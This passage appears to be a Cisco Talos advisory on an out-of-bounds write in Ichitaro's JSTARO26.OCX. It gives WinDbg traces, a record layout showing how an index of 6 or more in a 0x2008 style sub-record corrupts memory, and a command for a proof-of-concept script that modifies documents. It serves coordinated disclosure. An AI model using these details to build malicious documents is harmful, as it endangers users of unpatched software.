bp JSTARO26.OCX+391974 ".printf\"(%p) lv_objects(6)_6c[%d] := %p\\n\",@ebp-6c+@edi*4,@edi,@eax;g"
bp JSTARO26.OCX+39197e ".printf\"&lv_objects(6)_6c = %p\\n\",@ebp-6c"
bp JSTARO26.OCX+3919d2 ".printf \"lvw_case_84: %04x\\n\",wo(@ebp-84);g"
bp JSTARO26.OCX+391d6c ".printf \"lvw_case_84: %04x\\n\",wo(@ebp-84);g"

Within this windbg output, the addresses of each relevant module are as follows:

Browse full module list
start    end        module name
00370000 0069d000   taro33     (no symbols)           
53760000 5469c000   JSTARO26   (export symbols)       JSTARO26.OCX
277a0000 27826000   jsvda      (deferred)             
213e0000 21402000   jsmisc32   (deferred)             
5f800000 5f8b1000   JSFC       (deferred)             
3c7c0000 3f04e000   T33com     (deferred)             

After setting the prior-mentioned breakpoints and opening the provided document within the application, the following output should be displayed. This shows the same function being used to process both the “DocumentViewStyles” and “DocumentEditStyles” streams.

(0f1989ba) int object_9c2044::parseStream(DocumentViewStyles,DocumentEditStyles)_3a76be(object_9c2044* this=007d9950, JSVDA::object_OFRM* ap_oframe_0=5412c960, int av_documentType_4=00000010, int av_flags_8=007d9950, int av_whichStream_c=470491b3, _DWORD* ap_result_10=00000001)
(077e0e4c) int object_9c2044::parseStream(DocumentViewStyles,DocumentEditStyles)_3a76be(object_9c2044* this=007d9980, JSVDA::object_OFRM* ap_oframe_0=00000004, int av_documentType_4=00000000, int av_flags_8=00000001, int av_whichStream_c=00000000, _DWORD* ap_result_10=00000000)

When processing the contents of a stream, the following methods will read the 6-byte header from the beginning of each record. With the provided proof-of-concept, the record type 0x2008 containing the vulnerability should be displayed.

(53b07064) int struc_3a9de4::readBoxHeader?_3a6fae(struc_3a9de4* this=007d9980, JSVDA::object_OSEG* ap_oseg_0=077e0e4c)
(00000001) struc_3a9de4.vw_header_word_0=2008 struc_3a9de4.v_header_long_4=000001bf

Once the size of the record has been determined by the relevant method, the following method will be called to process the vulnerable record type.

(53b07501) int object_9d0d30::readStyleType(2008)_391906(object_9d0d30* this=3bde6fa0, JSVDA::object_OSEG* ap_oseg_0=077e0e4c, int av_size_4=000001bf, int av_someFlag_8=00000000, int av_documentType_c=00000006, int ap_nullobject_10=00000000, int* ap_result_14=007d9908)

At the beginning of the function, the object that contains the vulnerable array will enter scope. This will result in the following call instruction being used to construct it. The size of this object is 0x50 bytes.

(53af1952) object_9d14a0* object_9d14a0::constructor_38cb12(object_9d14a0* this=3be94fb0, object_9c2044* arg_0=0e90a840, object_9d0d30* ap_owner_4=3bde6fa0)
eax=3be94fb0 ebx=077e0e4c ecx=3be94fb0 edx=00000000 esi=3bde6fa0 edi=007d9980
eip=53af1952 esp=007d9808 ebp=007d98d4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
JSTARO26!DRFL_SaveFD3A+0x254833:
53af1952 e8bbb1ffff      call    JSTARO26!DRFL_SaveFD3A+0x24f9f3 (53aecb12)

0:000> r @ecx
ecx=3be94fb0

Stepping over the call instruction will result in the memory that was allocated for it being initialized via its constructor. At offset +0x34 of this object, an array of 6 objects will be initialized.

0:000> p
eax=3be94fb0 ebx=077e0e4c ecx=53aecb7a edx=00000000 esi=3bde6fa0 edi=007d9980
eip=53af1957 esp=007d9810 ebp=007d98d4 iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200286
JSTARO26!DRFL_SaveFD3A+0x254838:
53af1957 eb02            jmp     JSTARO26!DRFL_SaveFD3A+0x25483c (53af195b)

0:000> dc @eax L(50/4)
3be94fb0  541314a0 00000001 00000000 00000000  ...T............
3be94fc0  5f874544 00000001 00000000 54295998  DE._.........Y)T
3be94fd0  5411d2b8 542baeb8 00020020 0e90a840  ...T..+T ...@...
3be94fe0  3bde6fa0 5f86e4fc 00000000 00000000  .o.;..._........
3be94ff0  00000000 00000000 00000000 0000000a  ................

After the object has been constructed and its 6-element array initialized, the method will copy all 6 references to the array into a variable within the stack frame. The prior-mentioned breakpoints will emit all of the valid addresses within the array before allowing the user to resume execution.

0:000> g
(53af1964) int object_9d0d30::readStyleType(2008)_391906(object_9d0d30* this=3be94fb0, JSVDA::object_OSEG* ap_oseg_0=470490df, int av_size_4=007d9980, int av_someFlag_8=00000001, int av_documentType_c=077e0e4c, int ap_nullobject_10=3be94fb0, int* ap_result_14=007d9854)
(007d9868) lv_objects(6)_6c[0] := 3b8e5f98
(007d986c) lv_objects(6)_6c[1] := 3bdb6f98
(007d9870) lv_objects(6)_6c[2] := 3bff4f98
(007d9874) lv_objects(6)_6c[3] := 2608ef98
(007d9878) lv_objects(6)_6c[4] := 3b56af98
(007d987c) lv_objects(6)_6c[5] := 3b890f98
&lv_objects(6)_6c = 007d9868

eax=3b890f98 ebx=077e0e4c ecx=00000000 edx=ffffffff esi=3bde6fa0 edi=00000006
eip=53af197e esp=007d9810 ebp=007d98d4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
JSTARO26!DRFL_SaveFD3A+0x25485f:
53af197e 8d4d80          lea     ecx,[ebp-80h]
0:000> g

Once resuming execution, each sub-record within the 0x2008 record type will be processed. The output in the debugger will emit the type of each sub-record from the 0x2008 record.

lvw_case_84: 0006
lvw_case_84: 0006
lvw_case_84: 0009
lvw_case_84: 0009
lvw_case_84: 0006
lvw_case_84: 0008
...
lvw_case_84: 0007
lvw_case_84: 0007
lvw_case_84: 0009
lvw_case_84: 0008
lvw_case_84: 0008
lvw_case_84: 0006
lvw_case_84: 0009
lvw_case_84: 0008

Once the application has finished processing each of the records, a record of type 0x0008 will be encountered with an invalid index. This will result in the following access violation.

(dac.1404): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0000dead ebx=077e0e4c ecx=0000e698 edx=00000000 esi=0000fffe edi=0000ffff
eip=53af1ccf esp=007d9810 ebp=007d98d4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210202
JSTARO26!DRFL_SaveFD3A+0x254bb0:
53af1ccf 8b448594        mov     eax,dword ptr [ebp+eax*4-6Ch] ss:0023:0081131c=????????

The previous 3 instructions from this access violation are responsible for fetching the 16-bit index from the frame variable that the sub-record was decoded into. The instructions will use the frame variable to calculate an index into the prior-mentioned array. As the index being decoded is larger than 6, this will result in dereferencing a pointer that is out-of-bounds of the 6-element array prior to writing to it.

0:000> ub .+4 L3
JSTARO26!DRFL_SaveFD3A+0x254ba5:
53af1cc4 0fb74590        movzx   eax,word ptr [ebp-70h]
53af1cc8 0fb78d58ffffff  movzx   ecx,word ptr [ebp-0A8h]
53af1ccf 8b448594        mov     eax,dword ptr [ebp+eax*4-6Ch]

0:000> u . L2
JSTARO26!DRFL_SaveFD3A+0x254bb0:
53af1ccf 8b448594        mov     eax,dword ptr [ebp+eax*4-6Ch]
53af1cd3 89485c          mov     dword ptr [eax+5Ch],ecx

0:000> ? wo(@ebp-70) < 6
Evaluate expression: 0 = 00000000

0:000> dw @ebp-6c+wo(@ebp-70)*4
0081131c  ???? ???? ???? ???? ???? ???? ???? ????
0081132c  ???? ???? ???? ???? ???? ???? ???? ????
0081133c  ???? ???? ???? ???? ???? ???? ???? ????
0081134c  ???? ???? ???? ???? ???? ???? ???? ????

Exploit Proof of Concept

To modify a given document with the necessary attributes, run the proof-of-concept with Python against the desired document using the following parameters:

$ python poc.py3.zip modify /path/to/document.jtd

This will update the document in-place with the necessary changes required to trigger the vulnerability. The same proof-of-concept can be used to process a document and scan it for the necessary attributes by using the “read” command instead of “modify”.

The file format used by the vulnerability described within this document uses Microsoft’s Compound Binary File Format. The vulnerabilities involve the contents of either the “DocumentViewStyles” or “DocumentEditStyles” streams.

>>> directory
<class storage.Directory> 'Directory' storage.DirectoryEntry[16]
[0]   storage.DirectoryEntry[0]                  Root Entry Root(0x5)    SECT:3  SIZE:4400 CLSID:{78597001-1d84-11cf-9713-0020afd806f4}
[80]  storage.DirectoryEntry[1] \x04JSRV_SummaryInformation Stream(0x2)  SECT:5c SIZE:964  CLSID:{00000000-0000-0000-0000-000000000000}
[100] storage.DirectoryEntry[2]          DocumentViewStyles Stream(0x2)  SECT:50 SIZE:1c9  CLSID:{00000000-0000-0000-0000-000000000000}
[180] storage.DirectoryEntry[3]          DocumentEditStyles Stream(0x2)  SECT:e0 SIZE:40   CLSID:{00000000-0000-0000-0000-000000000000}
[200] storage.DirectoryEntry[4]                      Header Stream(0x2)  SECT:4a SIZE:230  CLSID:{00000000-0000-0000-0000-000000000000}
[280] storage.DirectoryEntry[5]                        Font Stream(0x2)  SECT:b0 SIZE:6e   CLSID:{00000000-0000-0000-0000-000000000000}
[300] storage.DirectoryEntry[6]     DocumentPeripheralThree Stream(0x2)  SECT:5d SIZE:248  CLSID:{00000000-0000-0000-0000-000000000000}
[380] storage.DirectoryEntry[7]            RelatedDocuments Stream(0x2)  SECT:c6 SIZE:130  CLSID:{00000000-0000-0000-0000-000000000000}
[400] storage.DirectoryEntry[8]                    LineMark Stream(0x2)  SECT:6d SIZE:1a   CLSID:{00000000-0000-0000-0000-000000000000}
[480] storage.DirectoryEntry[9]                   PaperMark Stream(0x2)  SECT:ab SIZE:2c   CLSID:{00000000-0000-0000-0000-000000000000}
[500] storage.DirectoryEntry[10]                    PageMark Stream(0x2)  SECT:6c SIZE:15c  CLSID:{00000000-0000-0000-0000-000000000000}
[580] storage.DirectoryEntry[11]      \x05SummaryInformation Stream(0x2)  SECT:6b SIZE:158  CLSID:{00000000-0000-0000-0000-000000000000}
[600] storage.DirectoryEntry[12] \x04JSRV_SegmentInformation Stream(0x2)  SECT:65 SIZE:4b0  CLSID:{00000000-0000-0000-0000-000000000000}
[680] storage.DirectoryEntry[13]                             Unknown(0x0) SECT:0  SIZE:0    CLSID:{00000000-0000-0000-0000-000000000000}
[700] storage.DirectoryEntry[14]                             Unknown(0x0) SECT:0  SIZE:0    CLSID:{00000000-0000-0000-0000-000000000000}
[780] storage.DirectoryEntry[15]                             Unknown(0x0) SECT:0  SIZE:0    CLSID:{00000000-0000-0000-0000-000000000000}

At the beginning of both of these streams is a 4-byte header containing two 16-bit integers. The first 16-bit integer in this header must be less than or equal to 1. After the 4-byte header, the rest of the stream will contain all of the contents of the styles within the document. Although any number of styles may be contained, the provided proof-of-concept contains only 1 record type.

>>> view
<class jtd.DocumentViewStyles> 'unnamed_7f4729819850' {unnamed=True}
[0] <instance jtd.DocumentStylesStream._header 'header'> "\x00\x01\x00\x01"
[4] <instance jtd.DocumentStylesStream._styles 'styles'> jtd.struc_3a9de4[1] "\x20\x08\x00\x00\x01\xbf\x00\x00\x00\x06\x00\x02\x00\x04  ...total 453 bytes... \x15\x00\x01\x00\x02\xde\xad\x40\xc6\xff\xff\x00\x00"

>>> view['header']
<class jtd.DocumentStylesStream._header> 'header'
[0] <instance jtd.ushort 'version'> 0x0001 (1)
[2] <instance jtd.ushort 'unused'> 0x0001 (1)

>>> view['styles']
[4] <instance jtd.DocumentStylesStream._styles 'styles'> jtd.struc_3a9de4[1] "\x20\x08\x00\x00\x01\xbf\x00\x00\x00\x06\x00\x02\x00\x04  ...total 453 bytes... \x15\x00\x01\x00\x02\xde\xad\x40\xc6\xff\xff\x00\x00"

Each record within the stream is prefixed with a 6-byte header containing a 16-bit type and 32-bit length. The length represents the number of bytes that follows this header. As the vulnerabilities involve record type 0x2008, the first 16-bit type in the header must be set to 0x2008.

>>> view['styles'][0]
<class jtd.struc_3a9de4> '0'
[4] <instance jtd.DocumentStyles.enum 'vw_header_word_0'> StyleType_2008(0x2008)
[6] <instance jtd.uint 'v_header_long_4'> 0x000001bf (447)
[a] <instance jtd.StyleType_2008 'contents'> "\x00\x00\x00\x06\x00\x02\x00\x04\xd7\x59\x00\x06\x00\x02  ...total 447 bytes... \x15\x00\x01\x00\x02\xde\xad\x40\xc6\xff\xff\x00\x00"
[1c9] <instance dynamic.block(0) 'padding'> ""

The 0x2008 record type begins with a 16-bit field. After this 16-bit field there can be any number of elements as long as it fits within the record size decoded within the prior-mentioned 6-byte header.

>>> view['styles'][0]['contents']
<class jtd.StyleType_2008> 'contents'
[a] <instance jtd.ushort 'lvw_field_8c'> 0x0000 (0)
[c] <instance jtd.object_9d0d30._items 'items'> jtd.object_9d14a0[52] "\x00\x06\x00\x02\x00\x04\xd7\x59\x00\x06\x00\x02\x00\x04  ...total 445 bytes... \x15\x00\x01\x00\x02\xde\xad\x40\xc6\xff\xff\x00\x00"
[1c9] <instance ptype.undefined 'padding'> ...

>>> view['styles'][0]['contents']['items']
[c] <instance jtd.object_9d0d30._items 'items'> jtd.object_9d14a0[52] "\x00\x06\x00\x02\x00\x04\xd7\x59\x00\x06\x00\x02\x00\x04  ...total 445 bytes... \x15\x00\x01\x00\x02\xde\xad\x40\xc6\xff\xff\x00\x00"

Each element within this array represents the contents of a sub-record. Each sub-record is prefixed with a 4-byte header containing a 16-bit type and a 16-bit size. The elements within this array are terminated when either a 16-bit type of 0xFFFF is encountered or the end of the record’s contents (as determined by its size) is reached.

>>> view['styles'][0]['contents']['items'][0]
<class jtd.object_9d14a0> '0'
[c] <instance jtd.object_9d15a0.enum 'lvw_case_84'> object_9d15a0_field_34(0x6)
[e] <instance jtd.ushort 'lv_size_74'> 0x0002 (2)
[10] <instance jtd.ushort 'lv_index_70'> 0x0004 (4)
[12] <instance jtd.object_9d15a0_field_34 'field'> 0xd759 (55129)
[14] <instance dynamic.block(0) 'padding'> ""

>>> view['styles'][-1]['contents']['items'][-1]
<class jtd.object_9d14a0> '51'
[1c5] <instance jtd.object_9d15a0.enum 'lvw_case_84'> 0xffff (65535)
[1c7] <instance jtd.ushort 'lv_size_74'> 0x0000 (0)
[1c9] <instance jtd.u0 'lv_index_70'> 0x0 (0)
[1c9] <instance jtd.object_9d15a0.default 'field'> 0x0 (0)
[1c9] <instance dynamic.block(0) 'padding'> ""

The contents of a valid sub-record type will always begin with a 16-bit integer representing the index before the value of the sub-record. It is prudent to note that the vulnerable method ignores the size in the sub-record header and always assumes that an integer follows the header if the sub-record is of a valid type. Valid sub-record types are 0x0000, 0x0001, 0x0002, 0x0003, 0x0004, 0x0005, 0x0006, 0x0007, 0x0008 or 0x0009. All valid sub-record types will have 16-bit integer that follow their header, other than type 0x0007, which will have a 32-bit integer, and type 0x0005, which will contain a wide-character string. If the index field in any of these records is equal to or larger than 6, then this vulnerability will be triggered by the document.

An example of a valid type that decodes 16-bits is as follows:

<class jtd.object_9d14a0> '45'
[18a] <instance jtd.object_9d15a0.enum 'lvw_case_84'> object_9d15a0_field_3c(0x8)
[18c] <instance jtd.ushort 'lv_size_74'> 0x0002 (2)
[18e] <instance jtd.ushort 'lv_index_70'> 0xdead (57005)
[190] <instance jtd.object_9d15a0_field_3c 'field'> 0xdead (57005)
[192] <instance dynamic.block(0) 'padding'> ""

An example of sub-record type 0x0007 which decodes 32-bits is as follows:

<class jtd.object_9d14a0> '43'
[176] <instance jtd.object_9d15a0.enum 'lvw_case_84'> object_9d15a0_field_38(0x7)
[178] <instance jtd.ushort 'lv_size_74'> 0x0004 (4)
[17a] <instance jtd.ushort 'lv_index_70'> 0xdead (57005)
[17c] <instance jtd.object_9d15a0_field_38 'field'> 0x0d0e0a0d (219023885)
[180] <instance dynamic.block(0) 'padding'> ""

An example of sub-record type 0x0005 which decodes a wide-character string is as follows (the size of this record must be less than or equal to 0x43):

<class jtd.object_9d14a0> '46'
[192] <instance jtd.object_9d15a0.enum 'lvw_case_84'> object_9d15a0_field_2c(0x5)
[194] <instance jtd.ushort 'lv_size_74'> 0x000d (13)
[196] <instance jtd.ushort 'lv_index_70'> 0xdead (57005)
[198] <instance jtd.object_9d15a0_field_2c<wchar_t<utf-16-le>> 'field'> (6) '\u0f0e\u0e0d\u0001\u7300\u0d0e\u0a0d'
[1a4] <instance dynamic.block(1) 'padding'> "\x00"
VENDOR RESPONSE

The vendor coordinated with JPCert, who released the information at: https://jvn.jp/en/jp/JVN28846531/index.html

TIMELINE

2023-08-10 - Vendor Disclosure
2023-10-19 - Vendor Patch Release
2023-10-19 - Public Release

Credit

Discovered by a member of Cisco Talos.